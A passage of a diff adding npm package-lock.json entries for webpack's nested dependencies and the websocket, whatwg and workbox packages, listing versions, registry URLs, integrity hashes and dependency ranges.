+        "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
+        "@webassemblyjs/wasm-gen": "1.12.1"
+      }
+    },
+    "node_modules/webpack/node_modules/@webassemblyjs/ieee754": {
+      "version": "1.11.6",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.6.tgz",
+      "integrity": "sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg==",
+      "dependencies": {
+        "@xtuc/ieee754": "^1.2.0"
+      }
+    },
+    "node_modules/webpack/node_modules/@webassemblyjs/leb128": {
+      "version": "1.11.6",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.6.tgz",
+      "integrity": "sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ==",
+      "dependencies": {
+        "@xtuc/long": "4.2.2"
+      }
+    },
+    "node_modules/webpack/node_modules/@webassemblyjs/utf8": {
+      "version": "1.11.6",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.6.tgz",
+      "integrity": "sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA=="
+    },
+    "node_modules/webpack/node_modules/@webassemblyjs/wasm-edit": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.12.1.tgz",
+      "integrity": "sha512-1DuwbVvADvS5mGnXbE+c9NfA8QRcZ6iKquqjjmR10k6o+zzsRVesil54DKexiowcFCPdr/Q0qaMgB01+SQ1u6g==",
+      "dependencies": {
+        "@webassemblyjs/ast": "1.12.1",
+        "@webassemblyjs/helper-buffer": "1.12.1",
+        "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
+        "@webassemblyjs/helper-wasm-section": "1.12.1",
+        "@webassemblyjs/wasm-gen": "1.12.1",
+        "@webassemblyjs/wasm-opt": "1.12.1",
+        "@webassemblyjs/wasm-parser": "1.12.1",
+        "@webassemblyjs/wast-printer": "1.12.1"
+      }
+    },
+    "node_modules/webpack/node_modules/@webassemblyjs/wasm-gen": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.12.1.tgz",
+      "integrity": "sha512-TDq4Ojh9fcohAw6OIMXqiIcTq5KUXTGRkVxbSo1hQnSy6lAM5GSdfwWeSxpAo0YzgsgF182E/U0mDNhuA0tW7w==",
+      "dependencies": {
+        "@webassemblyjs/ast": "1.12.1",
+        "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
+        "@webassemblyjs/ieee754": "1.11.6",
+        "@webassemblyjs/leb128": "1.11.6",
+        "@webassemblyjs/utf8": "1.11.6"
+      }
+    },
+    "node_modules/webpack/node_modules/@webassemblyjs/wasm-opt": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.12.1.tgz",
+      "integrity": "sha512-Jg99j/2gG2iaz3hijw857AVYekZe2SAskcqlWIZXjji5WStnOpVoat3gQfT/Q5tb2djnCjBtMocY/Su1GfxPBg==",
+      "dependencies": {
+        "@webassemblyjs/ast": "1.12.1",
+        "@webassemblyjs/helper-buffer": "1.12.1",
+        "@webassemblyjs/wasm-gen": "1.12.1",
+        "@webassemblyjs/wasm-parser": "1.12.1"
+      }
+    },
+    "node_modules/webpack/node_modules/@webassemblyjs/wasm-parser": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.12.1.tgz",
+      "integrity": "sha512-xikIi7c2FHXysxXe3COrVUPSheuBtpcfhbpFj4gmu7KRLYOzANztwUU0IbsqvMqzuNK2+glRGWCEqZo1WCLyAQ==",
+      "dependencies": {
+        "@webassemblyjs/ast": "1.12.1",
+        "@webassemblyjs/helper-api-error": "1.11.6",
+        "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
+        "@webassemblyjs/ieee754": "1.11.6",
+        "@webassemblyjs/leb128": "1.11.6",
+        "@webassemblyjs/utf8": "1.11.6"
+      }
+    },
+    "node_modules/webpack/node_modules/@webassemblyjs/wast-printer": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.12.1.tgz",
+      "integrity": "sha512-+X4WAlOisVWQMikjbcvY2e0rwPsKQ9F688lksZhBcPycBBuii3O7m8FACbDMWDojpAqvjIncrG8J0XHKyQfVeA==",
+      "dependencies": {
+        "@webassemblyjs/ast": "1.12.1",
+        "@xtuc/long": "4.2.2"
+      }
+    },
+    "node_modules/webpack/node_modules/ajv": {
+      "version": "6.12.6",
+      "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
+      "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
+      "license": "MIT",
+      "peer": true,
+      "dependencies": {
+        "fast-deep-equal": "^3.1.1",
+        "fast-json-stable-stringify": "^2.0.0",
+        "json-schema-traverse": "^0.4.1",
+        "uri-js": "^4.2.2"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/epoberezkin"
+      }
+    },
+    "node_modules/webpack/node_modules/ajv-keywords": {
+      "version": "3.5.2",
+      "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz",
+      "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==",
+      "license": "MIT",
+      "peerDependencies": {
+        "ajv": "^6.9.1"
+      }
+    },
+    "node_modules/webpack/node_modules/browserslist": {
+      "version": "4.23.3",
+      "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.23.3.tgz",
+      "integrity": "sha512-btwCFJVjI4YWDNfau8RhZ+B1Q/VLoUITrm3RlP6y1tYGWIOa+InuYiRGXUBXo8nA1qKmHMyLB/iVQg5TT4eFoA==",
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/browserslist"
+        },
+        {
+          "type": "tidelift",
+          "url": "https://tidelift.com/funding/github/npm/browserslist"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ],
+      "peer": true,
+      "dependencies": {
+        "caniuse-lite": "^1.0.30001646",
+        "electron-to-chromium": "^1.5.4",
+        "node-releases": "^2.0.18",
+        "update-browserslist-db": "^1.1.0"
+      },
+      "bin": {
+        "browserslist": "cli.js"
+      },
+      "engines": {
+        "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7"
+      }
+    },
+    "node_modules/webpack/node_modules/caniuse-lite": {
+      "version": "1.0.30001655",
+      "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001655.tgz",
+      "integrity": "sha512-jRGVy3iSGO5Uutn2owlb5gR6qsGngTw9ZTb4ali9f3glshcNmJ2noam4Mo9zia5P9Dk3jNNydy7vQjuE5dQmfg==",
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/browserslist"
+        },
+        {
+          "type": "tidelift",
+          "url": "https://tidelift.com/funding/github/npm/caniuse-lite"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ]
+    },
+    "node_modules/webpack/node_modules/commander": {
+      "version": "2.20.3",
+      "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
+      "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="
+    },
+    "node_modules/webpack/node_modules/electron-to-chromium": {
+      "version": "1.5.13",
+      "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.13.tgz",
+      "integrity": "sha512-lbBcvtIJ4J6sS4tb5TLp1b4LyfCdMkwStzXPyAgVgTRAsep4bvrAGaBOP7ZJtQMNJpSQ9SqG4brWOroNaQtm7Q=="
+    },
+    "node_modules/webpack/node_modules/enhanced-resolve": {
+      "version": "5.17.1",
+      "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.17.1.tgz",
+      "integrity": "sha512-LMHl3dXhTcfv8gM4kEzIUeTQ+7fpdA0l2tUf34BddXPkz2A5xJ5L/Pchd5BL6rdccM9QGvu0sWZzK1Z1t4wwyg==",
+      "dependencies": {
+        "graceful-fs": "^4.2.4",
+        "tapable": "^2.2.0"
+      },
+      "engines": {
+        "node": ">=10.13.0"
+      }
+    },
+    "node_modules/webpack/node_modules/es-module-lexer": {
+      "version": "1.5.4",
+      "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.5.4.tgz",
+      "integrity": "sha512-MVNK56NiMrOwitFB7cqDwq0CQutbw+0BvLshJSse0MUNU+y1FC3bUS/AQg7oUng+/wKrrki7JfmwtVHkVfPLlw=="
+    },
+    "node_modules/webpack/node_modules/escalade": {
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz",
+      "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/webpack/node_modules/eslint-scope": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz",
+      "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==",
+      "dependencies": {
+        "esrecurse": "^4.3.0",
+        "estraverse": "^4.1.1"
+      },
+      "engines": {
+        "node": ">=8.0.0"
+      }
+    },
+    "node_modules/webpack/node_modules/estraverse": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
+      "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==",
+      "engines": {
+        "node": ">=4.0"
+      }
+    },
+    "node_modules/webpack/node_modules/graceful-fs": {
+      "version": "4.2.11",
+      "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
+      "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="
+    },
+    "node_modules/webpack/node_modules/json-schema-traverse": {
+      "version": "0.4.1",
+      "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
+      "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
+      "license": "MIT"
+    },
+    "node_modules/webpack/node_modules/node-releases": {
+      "version": "2.0.18",
+      "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.18.tgz",
+      "integrity": "sha512-d9VeXT4SJ7ZeOqGX6R5EM022wpL+eWPooLI+5UpWn2jCT1aosUQEhQP214x33Wkwx3JQMvIm+tIoVOdodFS40g=="
+    },
+    "node_modules/webpack/node_modules/picocolors": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.0.tgz",
+      "integrity": "sha512-TQ92mBOW0l3LeMeyLV6mzy/kWr8lkd/hp3mTg7wYK7zJhuBStmGMBG0BdeDZS/dZx1IukaX6Bk11zcln25o1Aw=="
+    },
+    "node_modules/webpack/node_modules/schema-utils": {
+      "version": "3.3.0",
+      "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz",
+      "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==",
+      "dependencies": {
+        "@types/json-schema": "^7.0.8",
+        "ajv": "^6.12.5",
+        "ajv-keywords": "^3.5.2"
+      },
+      "engines": {
+        "node": ">= 10.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      }
+    },
+    "node_modules/webpack/node_modules/serialize-javascript": {
+      "version": "6.0.2",
+      "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.2.tgz",
+      "integrity": "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==",
+      "dependencies": {
+        "randombytes": "^2.1.0"
+      }
+    },
+    "node_modules/webpack/node_modules/terser": {
+      "version": "5.31.6",
+      "resolved": "https://registry.npmjs.org/terser/-/terser-5.31.6.tgz",
+      "integrity": "sha512-PQ4DAriWzKj+qgehQ7LK5bQqCFNMmlhjR2PFFLuqGCpuCAauxemVBWwWOxo3UIwWQx8+Pr61Df++r76wDmkQBg==",
+      "dependencies": {
+        "@jridgewell/source-map": "^0.3.3",
+        "acorn": "^8.8.2",
+        "commander": "^2.20.0",
+        "source-map-support": "~0.5.20"
+      },
+      "bin": {
+        "terser": "bin/terser"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/webpack/node_modules/terser-webpack-plugin": {
+      "version": "5.3.10",
+      "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.10.tgz",
+      "integrity": "sha512-BKFPWlPDndPs+NGGCr1U59t0XScL5317Y0UReNrHaw9/FwhPENlq6bfgs+4yPfyP51vqC1bQ4rp1EfXW5ZSH9w==",
+      "dependencies": {
+        "@jridgewell/trace-mapping": "^0.3.20",
+        "jest-worker": "^27.4.5",
+        "schema-utils": "^3.1.1",
+        "serialize-javascript": "^6.0.1",
+        "terser": "^5.26.0"
+      },
+      "engines": {
+        "node": ">= 10.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependencies": {
+        "webpack": "^5.1.0"
+      },
+      "peerDependenciesMeta": {
+        "@swc/core": {
+          "optional": true
+        },
+        "esbuild": {
+          "optional": true
+        },
+        "uglify-js": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/webpack/node_modules/terser/node_modules/acorn": {
+      "version": "8.12.1",
+      "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.12.1.tgz",
+      "integrity": "sha512-tcpGyI9zbizT9JbV6oYE477V6mTlXvvi0T0G3SNIYE2apm/G5huBa1+K89VGeovbg+jycCrfhl3ADxErOuO6Jg==",
+      "bin": {
+        "acorn": "bin/acorn"
+      },
+      "engines": {
+        "node": ">=0.4.0"
+      }
+    },
+    "node_modules/webpack/node_modules/update-browserslist-db": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.0.tgz",
+      "integrity": "sha512-EdRAaAyk2cUE1wOf2DkEhzxqOQvFOoRJFNS6NeyJ01Gp2beMRpBAINjM2iDXE3KCuKhwnvHIQCJm6ThL2Z+HzQ==",
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/browserslist"
+        },
+        {
+          "type": "tidelift",
+          "url": "https://tidelift.com/funding/github/npm/browserslist"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ],
+      "dependencies": {
+        "escalade": "^3.1.2",
+        "picocolors": "^1.0.1"
+      },
+      "bin": {
+        "update-browserslist-db": "cli.js"
+      },
+      "peerDependencies": {
+        "browserslist": ">= 4.21.0"
+      }
+    },
+    "node_modules/webpack/node_modules/watchpack": {
+      "version": "2.4.2",
+      "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.2.tgz",
+      "integrity": "sha512-TnbFSbcOCcDgjZ4piURLCbJ3nJhznVh9kw6F6iokjiFPl8ONxe9A6nMDVXDiNbrSfLILs6vB07F7wLBrwPYzJw==",
+      "dependencies": {
+        "glob-to-regexp": "^0.4.1",
+        "graceful-fs": "^4.1.2"
+      },
+      "engines": {
+        "node": ">=10.13.0"
+      }
+    },
+    "node_modules/websocket-driver": {
+      "version": "0.7.4",
+      "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz",
+      "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==",
+      "dependencies": {
+        "http-parser-js": ">=0.5.1",
+        "safe-buffer": ">=5.1.0",
+        "websocket-extensions": ">=0.1.1"
+      },
+      "engines": {
+        "node": ">=0.8.0"
+      }
+    },
+    "node_modules/websocket-extensions": {
+      "version": "0.1.4",
+      "resolved": "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.4.tgz",
+      "integrity": "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg==",
+      "engines": {
+        "node": ">=0.8.0"
+      }
+    },
+    "node_modules/whatwg-encoding": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-1.0.5.tgz",
+      "integrity": "sha512-b5lim54JOPN9HtzvK9HFXvBma/rnfFeqsic0hSpjtDbVxR3dJKLc+KB4V6GgiGOvl7CY/KNh8rxSo9DKQrnUEw==",
+      "dependencies": {
+        "iconv-lite": "0.4.24"
+      }
+    },
+    "node_modules/whatwg-fetch": {
+      "version": "3.6.2",
+      "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.6.2.tgz",
+      "integrity": "sha512-bJlen0FcuU/0EMLrdbJ7zOnW6ITZLrZMIarMUVmdKtsGvZna8vxKYaexICWPfZ8qwf9fzNq+UEIZrnSaApt6RA=="
+    },
+    "node_modules/whatwg-mimetype": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz",
+      "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g=="
+    },
+    "node_modules/whatwg-url": {
+      "version": "8.7.0",
+      "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-8.7.0.tgz",
+      "integrity": "sha512-gAojqb/m9Q8a5IV96E3fHJM70AzCkgt4uXYX2O7EmuyOnLrViCQlsEBmF9UQIu3/aeAIp2U17rtbpZWNntQqdg==",
+      "dependencies": {
+        "lodash": "^4.7.0",
+        "tr46": "^2.1.0",
+        "webidl-conversions": "^6.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/which": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
+      "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
+      "dependencies": {
+        "isexe": "^2.0.0"
+      },
+      "bin": {
+        "node-which": "bin/node-which"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/which-boxed-primitive": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz",
+      "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==",
+      "dependencies": {
+        "is-bigint": "^1.0.1",
+        "is-boolean-object": "^1.1.0",
+        "is-number-object": "^1.0.4",
+        "is-string": "^1.0.5",
+        "is-symbol": "^1.0.3"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/word-wrap": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.4.tgz",
+      "integrity": "sha512-2V81OA4ugVo5pRo46hAoD2ivUJx8jXmWXfUkY4KFNw0hEptvN0QfH3K4nHiwzGeKl5rFKedV48QVoqYavy4YpA==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/workbox-background-sync": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-background-sync/-/workbox-background-sync-6.5.4.tgz",
+      "integrity": "sha512-0r4INQZMyPky/lj4Ou98qxcThrETucOde+7mRGJl13MPJugQNKeZQOdIJe/1AchOP23cTqHcN/YVpD6r8E6I8g==",
+      "dependencies": {
+        "idb": "^7.0.1",
+        "workbox-core": "6.5.4"
+      }
+    },
+    "node_modules/workbox-broadcast-update": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-broadcast-update/-/workbox-broadcast-update-6.5.4.tgz",
+      "integrity": "sha512-I/lBERoH1u3zyBosnpPEtcAVe5lwykx9Yg1k6f8/BGEPGaMMgZrwVrqL1uA9QZ1NGGFoyE6t9i7lBjOlDhFEEw==",
+      "dependencies": {
+        "workbox-core": "6.5.4"
+      }
+    },
+    "node_modules/workbox-build": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-build/-/workbox-build-6.5.4.tgz",
+      "integrity": "sha512-kgRevLXEYvUW9WS4XoziYqZ8Q9j/2ziJYEtTrjdz5/L/cTUa2XfyMP2i7c3p34lgqJ03+mTiz13SdFef2POwbA==",
+      "dependencies": {
+        "@apideck/better-ajv-errors": "^0.3.1",
+        "@babel/core": "^7.11.1",
+        "@babel/preset-env": "^7.11.0",
+        "@babel/runtime": "^7.11.2",
+        "@rollup/plugin-babel": "^5.2.0",
+        "@rollup/plugin-node-resolve": "^11.2.1",
+        "@rollup/plugin-replace": "^2.4.1",
+        "@surma/rollup-plugin-off-main-thread": "^2.2.3",
+        "ajv": "^8.6.0",
+        "common-tags": "^1.8.0",
+        "fast-json-stable-stringify": "^2.1.0",
+        "fs-extra": "^9.0.1",
+        "glob": "^7.1.6",
+        "lodash": "^4.17.20",
+        "pretty-bytes": "^5.3.0",
+        "rollup": "^2.43.1",
+        "rollup-plugin-terser": "^7.0.0",
+        "source-map": "^0.8.0-beta.0",
+        "stringify-object": "^3.3.0",
+        "strip-comments": "^2.0.1",
+        "tempy": "^0.6.0",
+        "upath": "^1.2.0",
+        "workbox-background-sync": "6.5.4",
+        "workbox-broadcast-update": "6.5.4",
+        "workbox-cacheable-response": "6.5.4",
+        "workbox-core": "6.5.4",
+        "workbox-expiration": "6.5.4",
+        "workbox-google-analytics": "6.5.4",
+        "workbox-navigation-preload": "6.5.4",
+        "workbox-precaching": "6.5.4",
+        "workbox-range-requests": "6.5.4",
+        "workbox-recipes": "6.5.4",
+        "workbox-routing": "6.5.4",
+        "workbox-strategies": "6.5.4",
+        "workbox-streams": "6.5.4",
+        "workbox-sw": "6.5.4",
+        "workbox-window": "6.5.4"
+      },
+      "engines": {
+        "node": ">=10.0.0"
+      }
+    },
+    "node_modules/workbox-build/node_modules/fs-extra": {
+      "version": "9.1.0",
+      "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz",
+      "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==",
+      "dependencies": {
+        "at-least-node": "^1.0.0",
+        "graceful-fs": "^4.2.0",
+        "jsonfile": "^6.0.1",
+        "universalify": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/workbox-build/node_modules/source-map": {
+      "version": "0.8.0-beta.0",
+      "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.8.0-beta.0.tgz",
+      "integrity": "sha512-2ymg6oRBpebeZi9UUNsgQ89bhx01TcTkmNTGnNO88imTmbSgy4nfujrgVEFKWpMTEGA11EDkTt7mqObTPdigIA==",
+      "dependencies": {
+        "whatwg-url": "^7.0.0"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/workbox-build/node_modules/tr46": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/tr46/-/tr46-1.0.1.tgz",
+      "integrity": "sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA==",
+      "dependencies": {
+        "punycode": "^2.1.0"
+      }
+    },
+    "node_modules/workbox-build/node_modules/webidl-conversions": {
+      "version": "4.0.2",
+      "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-4.0.2.tgz",
+      "integrity": "sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg=="
+    },
+    "node_modules/workbox-build/node_modules/whatwg-url": {
+      "version": "7.1.0",
+      "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-7.1.0.tgz",
+      "integrity": "sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==",
+      "dependencies": {
+        "lodash.sortby": "^4.7.0",
+        "tr46": "^1.0.1",
+        "webidl-conversions": "^4.0.2"
+      }
+    },
+    "node_modules/workbox-cacheable-response": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-cacheable-response/-/workbox-cacheable-response-6.5.4.tgz",
+      "integrity": "sha512-DCR9uD0Fqj8oB2TSWQEm1hbFs/85hXXoayVwFKLVuIuxwJaihBsLsp4y7J9bvZbqtPJ1KlCkmYVGQKrBU4KAug==",
+      "dependencies": {
+        "workbox-core": "6.5.4"
+      }
+    },
+    "node_modules/workbox-core": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-core/-/workbox-core-6.5.4.tgz",
+      "integrity": "sha512-OXYb+m9wZm8GrORlV2vBbE5EC1FKu71GGp0H4rjmxmF4/HLbMCoTFws87M3dFwgpmg0v00K++PImpNQ6J5NQ6Q=="
+    },
+    "node_modules/workbox-expiration": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-expiration/-/workbox-expiration-6.5.4.tgz",
+      "integrity": "sha512-jUP5qPOpH1nXtjGGh1fRBa1wJL2QlIb5mGpct3NzepjGG2uFFBn4iiEBiI9GUmfAFR2ApuRhDydjcRmYXddiEQ==",
+      "dependencies": {
+        "idb": "^7.0.1",
+        "workbox-core": "6.5.4"
+      }
+    },
+    "node_modules/workbox-google-analytics": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-google-analytics/-/workbox-google-analytics-6.5.4.tgz",
+      "integrity": "sha512-8AU1WuaXsD49249Wq0B2zn4a/vvFfHkpcFfqAFHNHwln3jK9QUYmzdkKXGIZl9wyKNP+RRX30vcgcyWMcZ9VAg==",
+      "deprecated": "It is not compatible with newer versions of GA starting with v4, as long as you are using GAv3 it should be ok, but the package is not longer being maintained",
+      "dependencies": {
+        "workbox-background-sync": "6.5.4",
+        "workbox-core": "6.5.4",
+        "workbox-routing": "6.5.4",
+        "workbox-strategies": "6.5.4"
+      }
+    },
+    "node_modules/workbox-navigation-preload": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-navigation-preload/-/workbox-navigation-preload-6.5.4.tgz",
+      "integrity": "sha512-IIwf80eO3cr8h6XSQJF+Hxj26rg2RPFVUmJLUlM0+A2GzB4HFbQyKkrgD5y2d84g2IbJzP4B4j5dPBRzamHrng==",
+      "dependencies": {
+        "workbox-core": "6.5.4"
+      }
+    },
+    "node_modules/workbox-precaching": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-precaching/-/workbox-precaching-6.5.4.tgz",
+      "integrity": "sha512-hSMezMsW6btKnxHB4bFy2Qfwey/8SYdGWvVIKFaUm8vJ4E53JAY+U2JwLTRD8wbLWoP6OVUdFlXsTdKu9yoLTg==",
+      "dependencies": {
+        "workbox-core": "6.5.4",
+        "workbox-routing": "6.5.4",
+        "workbox-strategies": "6.5.4"
+      }
+    },
+    "node_modules/workbox-range-requests": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-range-requests/-/workbox-range-requests-6.5.4.tgz",
+      "integrity": "sha512-Je2qR1NXCFC8xVJ/Lux6saH6IrQGhMpDrPXWZWWS8n/RD+WZfKa6dSZwU+/QksfEadJEr/NfY+aP/CXFFK5JFg==",
+      "dependencies": {
+        "workbox-core": "6.5.4"
+      }
+    },
+    "node_modules/workbox-recipes": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-recipes/-/workbox-recipes-6.5.4.tgz",
+      "integrity": "sha512-QZNO8Ez708NNwzLNEXTG4QYSKQ1ochzEtRLGaq+mr2PyoEIC1xFW7MrWxrONUxBFOByksds9Z4//lKAX8tHyUA==",
+      "dependencies": {
